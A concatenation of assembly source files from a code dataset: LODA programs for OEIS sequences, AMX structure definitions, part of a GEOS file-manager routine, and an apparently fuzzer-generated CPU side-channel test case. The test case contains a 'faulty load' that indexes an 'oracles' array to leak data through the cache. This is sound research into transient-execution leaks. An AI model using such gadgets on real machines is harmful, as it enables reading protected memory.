2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/267/A267522.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/267/A267522.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A267522: a(n) = 4*(n + 1)*(n + 2)*(4*n + 3)/3. ; 8,56,176,400,760,1288,2016,2976,4200,5720,7568,9776,12376,15400,18880,22848,27336,32376,38000,44240,51128,58696,66976,76000,85800,96408,107856,120176,133400,147560,162688,178816,195976,214200,233520,253968,275576,298376,322400 mov $2,$0 add $0,2 add $2,$0 mul $2,2 bin $2,2 mul $0,$2 div $0,12 mul $0,8
29.583333
228
0.695775
6de5e359fda469817f08aa3441f4c36901e3de12
6,766
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_9.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_9.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_9.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x10456, %r10 nop nop nop cmp %r15, %r15 mov $0x6162636465666768, %rsi movq %rsi, %xmm2 vmovups %ymm2, (%r10) nop nop nop and $36396, %rbx lea addresses_WC_ht+0x11ec6, %rax xor $34941, %r15 mov (%rax), %rdx nop nop nop nop xor $15941, %rdx lea addresses_UC_ht+0x13156, %rsi lea addresses_UC_ht+0x1dfa6, %rdi nop cmp %rax, %rax mov $12, %rcx rep movsl nop xor %r15, %r15 lea addresses_A_ht+0xf306, %rbx nop nop nop inc %rcx mov (%rbx), %eax cmp $15170, %rdi lea addresses_WT_ht+0x3cc6, %rdx nop nop nop nop nop and $27728, %r10 movb (%rdx), %bl nop and $42536, %r10 lea addresses_UC_ht+0xf546, %rax nop nop nop nop nop add %r10, %r10 mov $0x6162636465666768, %rcx movq %rcx, (%rax) nop nop nop nop nop sub %rdx, %rdx lea addresses_A_ht+0xe32e, %r10 nop nop nop nop nop dec %rsi movw $0x6162, (%r10) nop cmp %r10, %r10 lea addresses_WC_ht+0x16c36, %rsi nop nop xor $17897, %r10 movl $0x61626364, (%rsi) nop nop nop cmp %r15, %r15 lea addresses_WT_ht+0x1a3c6, %r10 nop nop sub $40513, %rcx movl $0x61626364, (%r10) nop and %rcx, %rcx lea addresses_normal_ht+0xf2c6, %rdx xor %rdi, %rdi movb $0x61, (%rdx) nop nop nop nop nop xor $45705, %r15 lea addresses_WC_ht+0x2952, %rax nop nop nop nop nop sub $52913, %rdi movw $0x6162, (%rax) nop nop nop nop and $20604, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %rax push %rbx push %rdx // Load lea addresses_normal+0x1f9f6, %rbx nop cmp $49586, %r10 mov (%rbx), %rdx nop nop nop nop cmp %r15, %r15 // Faulty Load lea addresses_WC+0x148c6, %rax nop nop nop nop dec %rbx mov (%rax), %r10 lea oracles, %rdx and $0xff, %r10 shlq $12, %r10 mov (%rdx,%r10,1), %r10 pop %rdx pop %rbx pop %rax pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
35.424084
2,999
0.655336
d8a00eb4a8147e27110c869459875084edab62f0
2,881
asm
Assembly
[gamemodes]/[amx]/amx-deps/src/amx/amxdefn.asm
BesteerHU/mtavc
b125c26cbc06afb24f0cfc32d508bf370440f5ca
[ "MIT" ]
null
null
null
[gamemodes]/[amx]/amx-deps/src/amx/amxdefn.asm
BesteerHU/mtavc
b125c26cbc06afb24f0cfc32d508bf370440f5ca
[ "MIT" ]
null
null
null
[gamemodes]/[amx]/amx-deps/src/amx/amxdefn.asm
BesteerHU/mtavc
b125c26cbc06afb24f0cfc32d508bf370440f5ca
[ "MIT" ]
null
null
null
; Definition of the AMX structure for assembler syntax (NASM) struc amx_s _base: resd 1 _codeseg: resd 1 _dataseg: resd 1 _callback: resd 1 _debug: resd 1 _overlay: resd 1 _cip: resd 1 _frm: resd 1 _hea: resd 1 _hlw: resd 1 _stk: resd 1 _stp: resd 1 _flags: resd 1 _usertags: resd 4 ; 4 = AMX_USERNUM (#define'd in amx.h) _userdata: resd 4 ; 4 = AMX_USERNUM (#define'd in amx.h) _error: resd 1 _paramcount: resd 1 _pri: resd 1 _alt: resd 1 _reset_stk: resd 1 _reset_hea: resd 1 _syscall_d: resd 1 _ovl_index: resd 1 _codesize: resd 1 ; memory size of the overlay or of the native code %ifdef JIT ; the two fields below are for the JIT; they do not exist in ; the non-JIT version of the abstract machine _reloc_size: resd 1 ; memory block for relocations %endif endstruc struc amxhead_s _size: resd 1 ; size of the "file" _magic: resw 1 ; signature _file_version: resb 1; file format version _amx_version: resb 1 ; required version of the AMX _h_flags: resw 1 _defsize: resw 1 ; size of one public/native function entry _cod: resd 1 ; initial value of COD - code block _dat: resd 1 ; initial value of DAT - data block _h_hea: resd 1 ; initial value of HEA - start of the heap _h_stp: resd 1 ; initial value of STP - stack top _h_cip: resd 1 ; initial value of CIP - the instruction pointer _publics: resd 1 ; offset to the "public functions" table _natives: resd 1 ; offset to the "native functions" table _libraries: resd 1 ; offset to the "library" table _pubvars: resd 1 ; offset to the "public variables" table _tags: resd 1 ; offset to the "public tagnames" table _nametable: resd 1 ; offset to the name table, file version 7+ only _overlaytbl: resd 1 ; offset to the overlay table, file version 10+ only endstruc AMX_ERR_NONE EQU 0 AMX_ERR_EXIT EQU 1 AMX_ERR_ASSERT EQU 2 AMX_ERR_STACKERR EQU 3 AMX_ERR_BOUNDS EQU 4 AMX_ERR_MEMACCESS EQU 5 AMX_ERR_INVINSTR EQU 6 AMX_ERR_STACKLOW EQU 7 AMX_ERR_HEAPLOW EQU 8 AMX_ERR_CALLBACK EQU 9 AMX_ERR_NATIVE EQU 10 AMX_ERR_DIVIDE EQU 11 ; for catching divide errors AMX_ERR_SLEEP EQU 12 AMX_ERR_MEMORY EQU 16 AMX_ERR_FORMAT EQU 17 AMX_ERR_VERSION EQU 18 AMX_ERR_NOTFOUND EQU 19 AMX_ERR_INDEX EQU 20 AMX_ERR_DEBUG EQU 21 AMX_ERR_INIT EQU 22 AMX_ERR_USERDATA EQU 23 AMX_ERR_INIT_JIT EQU 24 AMX_ERR_PARAMS EQU 25 AMX_ERR_DOMAIN EQU 26 AMX_ERR_GENERAL EQU 27 AMX_FLAG_DEBUG EQU 0002h ; symbolic info. available AMX_FLAG_COMPACT EQU 0004h AMX_FLAG_BYTEOPC EQU 0008h AMX_FLAG_NOCHECKS EQU 0010h AMX_FLAG_BROWSE EQU 4000h AMX_FLAG_RELOC EQU 8000h ; jump/call addresses relocated
31.659341
79
0.68622
4fe8453393edfa21f810bf17262c539baede788c
2,888
asm
Assembly
programs/oeis/048/A048656.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/048/A048656.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/048/A048656.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A048656: a(n) is the number of unitary (and also of squarefree) divisors of n!. ; 1,2,4,4,8,8,16,16,16,16,32,32,64,64,64,64,128,128,256,256,256,256,512,512,512,512,512,512,1024,1024,2048,2048,2048,2048,2048,2048,4096,4096,4096,4096,8192,8192,16384,16384,16384,16384,32768,32768,32768,32768,32768,32768,65536,65536,65536,65536,65536,65536,131072,131072,262144,262144,262144,262144,262144,262144,524288,524288,524288,524288,1048576,1048576,2097152,2097152,2097152,2097152,2097152,2097152,4194304,4194304,4194304,4194304,8388608,8388608,8388608,8388608,8388608,8388608,16777216,16777216,16777216,16777216,16777216,16777216,16777216,16777216,33554432,33554432,33554432,33554432,67108864,67108864,134217728,134217728,134217728,134217728,268435456,268435456,536870912,536870912,536870912,536870912,1073741824,1073741824,1073741824,1073741824,1073741824,1073741824,1073741824,1073741824,1073741824,1073741824,1073741824,1073741824,1073741824,1073741824,2147483648,2147483648,2147483648,2147483648,4294967296,4294967296,4294967296,4294967296,4294967296,4294967296,8589934592,8589934592,17179869184,17179869184,17179869184,17179869184,17179869184,17179869184,17179869184,17179869184,17179869184,17179869184,34359738368,34359738368,68719476736,68719476736,68719476736,68719476736,68719476736,68719476736,137438953472,137438953472,137438953472,137438953472,137438953472,137438953472,274877906944,274877906944,274877906944,274877906944,549755813888,549755813888,549755813888,549755813888,549755813888,549755813888,1099511627776,1099511627776,1099511627776,1099511627776,1099511627776,1099511627776,2199023255552,2199023255552,4398046511104,4398046511104,4398046511104,4398046511104,4398046511104,4398046511104,4398046511104,4398046511104,4398046511104,4398046511104,8796093022208,8796093022208,17592186044416,17592186044416,17592186044416,17592186044416,35184372088832,35184372088832,70368744177664,70368744177664,70368744177664,70368744177664,70368744177664,70368744177664,70368744177664,70368744177664,70368744177664,70368744177664,70368744177664,70368744177664,140737488355328,140737488355328,140737488355328,140737488355328,140737488355328,140737488355328,140737488355328,140737488355328,140737488355328,140737488355328,140737488355328,140737488355328,281474976710656,281474976710656,281474976710656,281474976710656,562949953421312,562949953421312,1125899906842624,1125899906842624,1125899906842624,1125899906842624,2251799813685248,2251799813685248,2251799813685248,2251799813685248,2251799813685248,2251799813685248,4503599627370496,4503599627370496,9007199254740992,9007199254740992,9007199254740992,9007199254740992,9007199254740992,9007199254740992,9007199254740992,9007199254740992,9007199254740992,9007199254740992 cal $0,36234 ; Number of primes <= n, if 1 is counted as a prime. cal $0,116453 ; Third smallest number with exactly n prime factors. mov $1,$0 sub $1,9 div $1,9 add $1,1
288.8
2,633
0.885734
3b6f31474a6adb9e9026ffe8eccd733b23f938c0
582
asm
Assembly
fluidcore/samples/sq50-v3.asm
bushy555/ZX-Spectrum-1-Bit-Routines
4d336dec9d7abc979a97af76d515104a9263f127
[ "BSD-3-Clause" ]
59
2015-02-28T14:15:56.000Z
2022-03-26T12:06:01.000Z
fluidcore/samples/sq50-v3.asm
bushy555/ZX-Spectrum-1-Bit-Routines
4d336dec9d7abc979a97af76d515104a9263f127
[ "BSD-3-Clause" ]
1
2016-08-22T05:32:43.000Z
2016-08-22T09:33:28.000Z
fluidcore/samples/sq50-v3.asm
bushy555/ZX-Spectrum-1-Bit-Routines
4d336dec9d7abc979a97af76d515104a9263f127
[ "BSD-3-Clause" ]
9
2015-02-28T14:16:31.000Z
2022-01-18T17:52:48.000Z
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 db 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3 db 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3 db 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3 db 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3 db 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3 db 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3 db 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3 db 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3
29.1
35
0.494845
d6a55c82fab807db0e22d283c5d8f9c4bba28a91
499
asm
Assembly
oeis/092/A092750.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/092/A092750.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/092/A092750.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A092750: Decimal expansion of e^(-1/7). ; Submitted by Jamie Morken(s2) ; 8,6,6,8,7,7,8,9,9,7,5,0,1,8,1,6,2,7,5,0,2,9,3,2,4,7,6,5,8,1,6,0,2,5,6,3,1,9,6,5,3,1,9,4,7,9,5,4,8,1,3,3,3,9,5,5,8,8,4,5,0,5,7,3,4,1,3,8,9,1,0,3,7,3,7,7,7,2,6,7,5,7,0,3,0,1,3,1,5,5,8,7,7,0,2,6,9,8,8,1 mov $1,524288 mov $3,$0 mul $3,3 mov $5,$0 sub $5,$0 cmp $5,0 add $0,$5 lpb $3 mul $1,$3 mul $1,7 div $1,$0 div $2,$0 add $2,$1 sub $3,1 lpe mov $4,10 pow $4,$0 div $2,$4 add $2,1 div $1,$2 mod $1,10 mov $0,$1
18.481481
201
0.533066
b5d6c9c12d48651fc32f690db69d478a2b3060d9
515
asm
Assembly
oeis/084/A084085.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/084/A084085.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/084/A084085.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A084085: Length of lists created by n substitutions k -> Range[0,Mod[k+1,4]] starting with {0}. ; Submitted by Christian Krause ; 1,2,5,14,38,102,273,731,1958,5245,14050,37636,100816,270057,723405,1937794,5190793,13904642,37246538,99772766,267262553,715919535,1917742590,5137081001,13760762966,36861127432,98740361920,264497039329 lpb $0 sub $0,1 add $4,$1 add $1,$3 mov $5,$3 add $5,$2 mov $2,$3 mov $3,$5 sub $3,$1 add $4,3 add $2,$4 add $1,$2 add $4,$5 lpe mov $0,$1 div $0,3 add $0,1
23.409091
202
0.679612
bf572148dbe18f72f190330c3d181af5da4c66d4
8,970
asm
Assembly
Appl/FileMgrs2/CommonIS/CFolder/cfolderScan.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/FileMgrs2/CommonIS/CFolder/cfolderScan.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/FileMgrs2/CommonIS/CFolder/cfolderScan.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: folderScan.asm AUTHOR: Chris Boyke ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 7/16/92 Initial version. DESCRIPTION: $Id: cfolderScan.asm,v 1.2 98/06/03 13:10:22 joon Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FolderPathCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% NDFolderProcessFiles %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Additional processing needed by NewDesk: - see if any files are open, so we can draw then with diagonal lines CALLED BY: FolderScan PASS: *ds:si - FolderClass object RETURN: nothing DESTROYED: bx,di PSEUDO CODE/STRATEGY: Set the FRSF_OPENED bit for any open files KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 7/16/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ NDFolderProcessFiles proc near fileID local dword diskHandle local word idAttr local FileExtAttrDesc diskAttr local FileExtAttrDesc folderRecord local fptr.FolderRecord .enter ForceRef folderRecord ; ; Set up the local variables ; mov ss:[idAttr].FEAD_attr, FEA_FILE_ID mov ss:[idAttr].FEAD_value.segment, ss lea ax, ss:[fileID] mov ss:[idAttr].FEAD_value.offset, ax mov ss:[idAttr].FEAD_size, size fileID mov ss:[diskAttr].FEAD_attr, FEA_DISK mov ss:[diskAttr].FEAD_value.segment, ss lea ax, ss:[diskHandle] mov ss:[diskAttr].FEAD_value.offset, ax mov ss:[diskAttr].FEAD_size, size fileID mov ax, cs mov bx, offset NDFolderProcessFilesCB call FolderSendToDisplayList .leave ret NDFolderProcessFiles endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% NDFolderProcessFilesCB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check this file record against open folders to see if we should gray it out CALLED BY: NDFolderProcessFiles via FolderSendToDisplayList PASS: ds:di - FolderRecord ss:bp - inherited local vars RETURN: carry clear DESTROYED: ax,bx,cx,dx,di PSEUDO CODE/STRATEGY: if OPEN_CLOSE_NOTIFICATION is on (which it isn't), then we want to look for ALL open folders, documents, and links to applications. Otherwise, we only care about open folders. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 7/16/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ NDFolderProcessFilesCB proc far uses si,bp .enter inherit NDFolderProcessFiles ; ; If this is a GEOS file, add 256 to its file size. How dumb. ; cmp ds:[di].FR_fileType, GFT_NOT_GEOS_FILE je afterSize adddw ds:[di].FR_size, 256 afterSize: mov ss:[folderRecord].segment, ds mov ss:[folderRecord].offset, di ; ; See if subdir ; test ds:[di].FR_fileAttrs, mask FA_SUBDIR if OPEN_CLOSE_NOTIFICATION jz notFolder else jz done endif ; ; See if this window is open, by comparing the FolderRecord's ; file ID against those of the open folders. ; call FindFolderByFileID jc isOpen jmp done if OPEN_CLOSE_NOTIFICATION notFolder: ; ; Look thru the kernel's open file list to find an open file ; with this ID ; clr bx mov di, cs mov si, offset CheckFileListCB call FileForEach jnc done endif isOpen: lds di, ss:[folderRecord] ornf ds:[di].FR_state, mask FRSF_OPENED done: clc .leave ret NDFolderProcessFilesCB endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FindFolderByFileID %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if there's a folder open whose file ID matches the one in this folder record, or its target. CALLED BY: NDFolderProcessFilesCB PASS: ds:di - FolderRecord RETURN: carry SET if found, carry clear otherwise DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 2/ 2/93 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FindFolderByFileID proc near uses di,si,bp .enter movdw cxdx, ds:[di].FR_id mov bp, ds:[di].FR_disk mov ax, MSG_FOLDER_CHECK_FILE_ID call FolderEnum if 0 ; nuked - 3/93 jc done ; ; Check this folder record's TARGET, if its a link ; test ds:[di].FR_fileAttrs, mask FA_LINK jz done ; carry clear movdw cxdx, ds:[di].FR_targetFileID clr bp mov ax, MSG_FOLDER_CHECK_FILE_ID call FolderEnum jnc done ; ; There was a match, but only with the file ID, not the disk ; handle. Get this FolderRecord's target's disk handle, to make ; absolutely sure. ; segmov es, ds call FolderGetFolderRecordTargetDisk cmc jnc done ; some error -- bail mov bp, bx ; target disk handle movdw bxsi, cxdx ; folder object movdw cxdx, ds:[di].FR_targetFileID mov ax, MSG_FOLDER_CHECK_FILE_ID mov di, mask MF_CALL call ObjMessage ; carry SET or CLEAR, ; depending on match. done: endif .leave ret FindFolderByFileID endp if OPEN_CLOSE_NOTIFICATION COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckFileListCB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: callback routine for checking the kernel's file list for open files CALLED BY: NDFolderProcessFilesCB via FileForEach PASS: bx - file handle ss:bp - inherited local vars RETURN: nothing DESTROYED: es, di, si PSEUDO CODE/STRATEGY: Check for either: this file being open this file being a LINK to an open file KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 11/30/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CheckFileListCB proc far uses bx, ds .enter inherit NDFolderProcessFiles ; ; Fetch the attrs for this file. If there's an error, just ; skip it. ; segmov es, ss lea di, ss:[diskAttr] mov cx, 2 mov ax, FEA_MULTIPLE call FileGetHandleExtAttributes jc doneCLC ; ; See if the attrs match the folder record ; lds di, ss:[folderRecord] ; ; First see if this file has the same disk handle / attributes ; mov ax, ds:[di].FR_disk cmp ax, ss:[diskHandle] jne checkLink cmpdw ds:[di].FR_id, ss:[fileID], ax stc je done checkLink: test ds:[di].FR_fileAttrs, mask FA_LINK jz done ; ; Next, see if the folder record might be a LINK to this file ; cmpdw ds:[di].FR_targetFileID, ss:[fileID], ax clc jne done ; ; The link is almost certainly a link to this file, but just ; to be sure, fetch the target disk handle (an expensive ; operation), and compare it agains the file's ; call FolderGetFolderRecordTargetDisk cmc jnc done ; some error -- bail cmp bx, ss:[diskHandle] stc je done doneCLC: clc done: .leave ret CheckFileListCB endp COMMENT 